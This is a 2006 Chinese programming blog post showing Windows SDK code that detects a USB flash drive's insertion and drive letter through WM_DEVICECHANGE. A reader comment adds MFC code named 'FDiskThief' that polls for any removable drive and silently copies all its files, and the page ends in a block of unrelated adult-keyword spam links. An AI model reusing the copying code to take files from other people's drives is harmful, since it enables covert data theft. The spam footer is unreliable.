<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    程序人生

    撰寫生活代碼,等待編譯美好人生
    隨筆 - 48, 文章 - 0, 評(píng)論 - 29, 引用 - 0
    數(shù)據(jù)加載中……

    WINDOWS SDK 檢測(cè)U盤插入

    今天一位老兄要我?guī)兔ψ鲆粋€(gè)軟件,需要把在U盤插入U(xiǎn)SB接口激活之后自動(dòng)把U盤里的內(nèi)容拷貝到硬上。拷貝文件不難,麻煩的就是不知道怎么檢測(cè)U盤是否激活,激活后又是哪個(gè)盤符。
    google了一下,在MSDN上看了幾個(gè)例子,找到了檢測(cè)U盤插入,并確定其盤符的方法。

    下面給出窗口的回調(diào)函數(shù):
    ?1?LRESULT?CALLBACK?WndProc?(HWND?hWnd,?UINT?message,?WPARAM?wParam,?LPARAM?lParam)
    ?2?
    ?3?{
    ?4?????
    ?5?????switch?(message)?
    ?6?????{
    ?7?????????
    ?8?????case?WM_CREATE:/*初始化*/
    ?9?????????
    10?????????MessageBox(hWnd,?"go!",?"405?Studio",?MB_OK);
    11?????????
    12?????????break;
    13?????????
    14?????case?WM_DEVICECHANGE:
    15?????????
    16?????????if(wParam?==?DBT_DEVICEARRIVAL)?//設(shè)備激活
    17?????????{
    18?????????????PDEV_BROADCAST_HDR?lpdb?=?(PDEV_BROADCAST_HDR)lParam;
    19?????????????
    20?????????????PDEV_BROADCAST_VOLUME?lpdbv?=?(PDEV_BROADCAST_VOLUME)lpdb;
    21?????????????
    22?????????????char?szMsg[80];
    23?????????????wsprintf?(szMsg,?"Drive?%c:?Media?has?arrived.\n",
    24?????????????????FirstDriveFromMask(lpdbv?->dbcv_unitmask));
    25?????????????
    26?????????????MessageBox?(hWnd,?szMsg,?"WM_DEVICECHANGE",?MB_OK);
    27?????????????
    28?????????}
    29?????????
    30?????????break;
    31?????????
    32?????default:
    33?????????return?DefWindowProc?(hWnd,?message,?wParam,?lParam)?;
    34?????}
    35?????
    36?????return?0;
    37?????
    38?}
    原理很簡單檢測(cè)U盤是否被插入是通過監(jiān)聽WM_DEVICECHANGE消息來實(shí)現(xiàn)的。18,19行是從WM_DEVICECHANGE的lParam里獲取盤符。
    FirstDriveFromMask是一個(gè)用返回盤符(A,B,C ....)的簡單函數(shù)
    ?1?char?FirstDriveFromMask?(ULONG?unitmask)
    ?2?{
    ?3?????char?i;
    ?4?????
    ?5?????for?(i?=?0;?i?<?26;?++i)
    ?6?????{
    ?7?????????if?(unitmask?&?0x1)
    ?8?????????????break;
    ?9?????????unitmask?=?unitmask?>>?1;
    10?????}
    11?????
    12?????return?(i?+?'A');
    13?}

    posted on 2006-04-12 23:33 405 Studio 閱讀(2337) 評(píng)論(2)  編輯  收藏 所屬分類: Windows Programing

    評(píng)論

    # re: WINDOWS SDK 檢測(cè)U盤插入  回復(fù)  更多評(píng)論   

    請(qǐng)問這是怎么實(shí)現(xiàn)的,這種程序我也要用。謝謝
    我的QQ:651764799
    2006-10-08 17:05 | lsy

    # re: WINDOWS SDK 檢測(cè)U盤插入  回復(fù)  更多評(píng)論   

    //-------查找U盤-------------------------------
    CString CFDiskThiefDlg::FindFdisk()
    {
    CString strdir="";
    for(char cc='A';cc<='Z';cc++)
    {
    strdir.Format("%c:",cc);
    if(GetDriveType((LPCTSTR)strdir)==DRIVE_REMOVABLE)//移動(dòng)盤
    return strdir;
    }
    return strdir="";
    }
    //--------復(fù)制文件-----------------------------
    void CFDiskThiefDlg::CopyFile(CString dir)
    {
    CFileFind tempFind;
    CString tempFileFind;
    tempFileFind.Format("%s\\*.*",dir);
    BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
    while(IsFinded)
    {
    IsFinded=(BOOL)tempFind.FindNextFile();
    if(!tempFind.IsDots())
    {
    CString foundFileName;
    foundFileName=tempFind.GetFileName();

    if(tempFind.IsDirectory())
    {
    CString tempDir;
    tempDir.Format("%s\\%s",dir,foundFileName);
    CopyFile(tempDir);
    }
    else
    {
    CString tempFileName1,tempFileName2;
    tempFileName1.Format("%s\\%s",dir,foundFileName);
    tempFileName2.Format("%s\\%s",m_Path,foundFileName);
    ::CopyFile(tempFileName1,tempFileName2,FALSE);
    }
    }
    }
    tempFind.Close();
    }

    void CFDiskThiefDlg::OnTimer(UINT nIDEvent)
    {
    // TODO: Add your message handler code here and/or call default
    if(IsRun)
    {
    m_NewFdisk=FindFdisk();

    if(m_NewFdisk!=m_OldFdisk&&m_NewFdisk!="")
    {
    CopyFile(m_NewFdisk);
    }
    if(m_NewFdisk!="")
    m_OldFdisk=m_NewFdisk;
    else
    m_OldFdisk="NULL";
    }

    CDialog::OnTimer(nIDEvent);
    }

    2008-01-03 10:56 | 師弟

    只有注冊(cè)用戶登錄后才能發(fā)表評(píng)論。


    網(wǎng)站導(dǎo)航:
     
    主站蜘蛛池模板: 久久久久亚洲AV片无码| 亚洲色偷拍区另类无码专区| 亚洲五月激情综合图片区| 可以免费观看的毛片| 亚洲精品你懂的在线观看 | 亚洲成AV人片在线观看WWW| 免费观看无遮挡www的视频| 久久亚洲中文字幕精品有坂深雪| 久久精品电影免费动漫| 中文字幕亚洲综合久久| 新最免费影视大全在线播放| 亚洲欧洲日产国码一级毛片| 亚洲中文字幕久久无码| 久久久久国产精品免费网站| 日本高清免费网站| 黄色a级免费网站| 怡红院亚洲怡红院首页| 免费黄网站在线看| 亚洲欧洲日韩在线电影| 成人毛片免费观看视频在线| 亚洲色WWW成人永久网址| 久久精品一区二区免费看| 亚洲精品午夜视频| 午夜色a大片在线观看免费| 日本一区二区在线免费观看| 国产日韩亚洲大尺度高清| 曰批全过程免费视频网址| 亚洲JLZZJLZZ少妇| 国产精品永久免费10000| 亚洲熟妇AV一区二区三区宅男| 国产一区二区三区免费看| 香蕉视频在线免费看| 亚洲精品无码你懂的网站| 久久精品免费观看| 亚洲最大的成人网站| 亚洲人成网站色在线入口| 91大神在线免费观看| 国产精品亚洲天堂| 亚洲午夜视频在线观看| 免费a在线观看播放| 亚洲另类无码专区首页|